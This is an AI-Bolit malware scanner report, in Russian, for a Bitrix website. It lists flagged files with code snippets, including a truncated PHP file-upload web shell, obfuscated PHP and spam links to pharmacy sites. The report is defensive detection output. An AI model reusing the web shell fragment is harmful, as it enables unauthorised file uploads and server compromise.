Отчет сканера AI-Bolit v20181117-2210: /var/www/estnsk/data/www/est-nsk.ru/ (1/1)
Сканер бесплатный только для личного некоммерческого использования. Информация по коммерческой лицензии (пункт №11). Авторское свидетельство о гос. регистрации в РосПатенте №2012619254 от 12 октября 2012 г.
Затрачено времени: 12 m . Сканирование начато 12-01-2019 в 14:31:46, сканирование завершено 12-01-2019 в 14:44:17
Всего проверено 17572 директорий и 16082 файлов. Использовано памяти при сканировании: 15.18 Mb.
Сводный отчет
Вредоносных скриптов7
JS Вирусов1
Пропущенных больших файлов4
Обращаем внимание, что обнаруженные файлы не всегда являются вирусами и хакерскими скриптами. Сканер минимизирует число ложных обнаружений, но это не всегда возможно, так как найденный фрагмент может встречаться как во вредоносных скриптах, так и в обычных.

Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.

Внимание! Наш сканер обнаружил подозрительный или вредоносный код.

Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.


Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.


Не оставляйте файл отчета на сервере, и не давайте на него прямых ссылок с других сайтов. Информация из отчета может быть использована злоумышленниками для взлома сайта, так как содержит информацию о настройках сервера, файлах и каталогах.
Наши продукты:
Критические замечания
Эти файлы могут быть вредоносными или хакерскими скриптами (7)
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
[x] 1<? $GLOBALS['_____2102120538']=array('IncludeModuleLangFile','GetModuleEvents','ExecuteModuleEventEx');?><?$GLOBALS['____5
12/01/2019 01:45:47
24/01/2018 09:24:18
236.05 Kb
7e603c9eee193c2e65b4136636afe7928188c473
x
1516760658
id_93e67a24
[x] 1…QtbnNrLnJ1Cmh0dHBzOi8v...</a></td><td>1</td><td>0.2%</td><td>1</td><td>0.1%</td></tr><tr><td class="aws"><a href="https: //vk.cc/8RNvAR" target="url" rel="nofollow">https://vk.cc/8RNvAR</a></td><td>1</td><td>0.2%</td><td>1</td><td>0.1%</td>
12/01/2019 14:42:46
12/01/2019 13:00:24
42.81 Kb
636e5ff79a94cc25d62f62ff66d2b65a923fd481
x
1547272824
id_667b9d10
[x] BIG FILE. SKIPPED.
12/01/2019 14:42:46
20/04/2018 14:10:58
4.38 Mb
408690fc5087a6432c4ef91fd5ffd49a4a024f01
x
1524208258
id_big_1
[x] BIG FILE. SKIPPED.
12/01/2019 14:42:46
20/04/2018 14:11:35
4.38 Mb
408690fc5087a6432c4ef91fd5ffd49a4a024f01
x
1524208295
id_big_1
[x] BIG FILE. SKIPPED.
12/01/2019 14:42:46
11/01/2019 17:32:09
2.57 Mb
a2f706ba5f63a35ed9a0f3e35160f5bf312ec6de
x
1547202729
id_big_1
[x] BIG FILE. SKIPPED.
12/01/2019 14:42:46
11/01/2019 15:18:21
1.98 Mb
a2f706ba5f63a35ed9a0f3e35160f5bf312ec6de
x
1547194701
id_big_1
[x] 1…ype=text value=<?php echo getcwd();?>/><input type=submit name=gogogo><?php echo base64_decode("Y2hlY2tkYXRh");if(isset( $_POST[gogogo])){if(is_uploaded_file($_FILES[fileMass][tmp_name])){copy($_FILES[fileMass][tmp_name],$_POST[path].$_FILE
12/01/2019 14:42:46
24/01/2018 09:24:57
385 b
b5beb07063f24c4e868e3d7557303d5498791d4b
x
1516760697
id_2d495362
Эти файлы могут быть javascript вирусами (1)
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
[x] 1…s.push(resolve())}module.exports={input: path.resolve(__dirname,'../js/src/index.js'),output:{banner: `/*! * Bootstrap v ${pkg.version}(${pkg.homepage}) * Copyright 2011-${year}${pkg.author}* Licensed under MIT(https://github.com/twbs/boots
12/01/2019 01:45:44
24/08/2018 16:56:27
1.43 Kb
2bbb04721bc3aa66a3528e9c16e4543b7babea32
x
1535104587
id_105a4fcd
Предупреждения
Дорвеи, реклама, спам-ссылки, редиректы
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
1…>http://dosugrostov.site</a></td><td>7</td><td>0.3%</td><td>7</td><td>0.3%</td></tr><tr><td class="aws"><a href="http:// viagra-soft.ru" target="url" rel="nofollow">http://viagra-soft.ru</a></td><td>7</td><td>0.3%</td><td>7</td><td>0.3%</td
12/01/2019 01:45:48
30/09/2018 23:00:14
166.31 Kb
8969b63747aa29e6480cf98e318dbf06463b9a96
x
1538323214
id_z7479687
1…141...</a></td><td>10</td><td>0.7%</td><td>10</td><td>0.5%</td></tr><tr><td class="aws"><a href="https://buy-meds24.com/ cialis-fr.html" target="url" rel="nofollow">https://buy-meds24.com/cialis-fr.html</a></td><td>10</td><td>0.7%</td><td>1
12/01/2019 01:45:48
30/06/2018 23:00:14
175.30 Kb
48606f80e5e62664b9a9dea14507be2eb4fc51a5
x
1530374414
id_z6352267
1…nofollow">http://2gis.ru</a></td><td>3</td><td>0.2%</td><td>3</td><td>0.1%</td></tr><tr><td class="aws"><a href="http:// viagramm.ru" target="url" rel="nofollow">http://viagramm.ru</a></td><td>3</td><td>0.2%</td><td>3</td><td>0.1%</td></tr>
12/01/2019 14:42:46
24/01/2018 09:24:26
137.37 Kb
399bbd7a66ae8adbc172411be5998ef9e24f79fd
x
1516760666
id_z2901894
1…ttp://sladkoevideo.com</a></td><td>16</td><td>0.8%</td><td>16</td><td>0.6%</td></tr><tr><td class="aws"><a href="http:// viagra-soft.ru" target="url" rel="nofollow">http://viagra-soft.ru</a></td><td>16</td><td>0.8%</td><td>16</td><td>0.6%</
12/01/2019 14:42:46
31/08/2018 23:00:16
181.46 Kb
e462fe220df64b4c5b2b551c21df11ca77d22ae5
x
1535731216
id_z2585733
1…ow">https://www.atyks.ru</a></td><td>3</td><td>0.2%</td><td>3</td><td>0.2%</td></tr><tr><td class="aws"><a href="http:// viagra-soft.ru" target="url" rel="nofollow">http://viagra-soft.ru</a></td><td>3</td><td>0.2%</td><td>3</td><td>0.2%</td
12/01/2019 14:42:46
30/07/2018 23:00:15
166.17 Kb
7d3516fad529b7349574086114bbe8720a5d1289
x
1532966415
id_z7059674
1…tModified_unix){header($_SERVER['SERVER_PROTOCOL'].' 304 Not Modified');exit;}header('Last-Modified: '.$LastModified);?> phpinfo();?
12/01/2019 14:42:46
06/11/2018 01:51:34
686 b
e15b2733afaa3a776f2974fde40f2290e979c9bf
x
1541443894
id_z5485760
Большие файлы (больше чем 650.00 Kb). Пропущено
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
12/01/2019 14:42:46
20/04/2018 14:10:58
4.38 Mb
408690fc5087a6432c4ef91fd5ffd49a4a024f01
x
1524208258
id_z7934988
12/01/2019 14:42:46
20/04/2018 14:11:35
4.38 Mb
408690fc5087a6432c4ef91fd5ffd49a4a024f01
x
1524208295
id_z6185085
12/01/2019 14:42:46
11/01/2019 17:32:09
2.57 Mb
a2f706ba5f63a35ed9a0f3e35160f5bf312ec6de
x
1547202729
id_z5824812
12/01/2019 14:42:46
11/01/2019 15:18:21
1.98 Mb
a2f706ba5f63a35ed9a0f3e35160f5bf312ec6de
x
1547194701
id_z1706039
Подозрение на дорвей
ПутьИзменение свойствИзменение содержимогоРазмерCRC32
-
-
-
x
id_z5644654
-
-
-
x
id_z1771539
Версии найденных CMS
Bitrix v16.0.11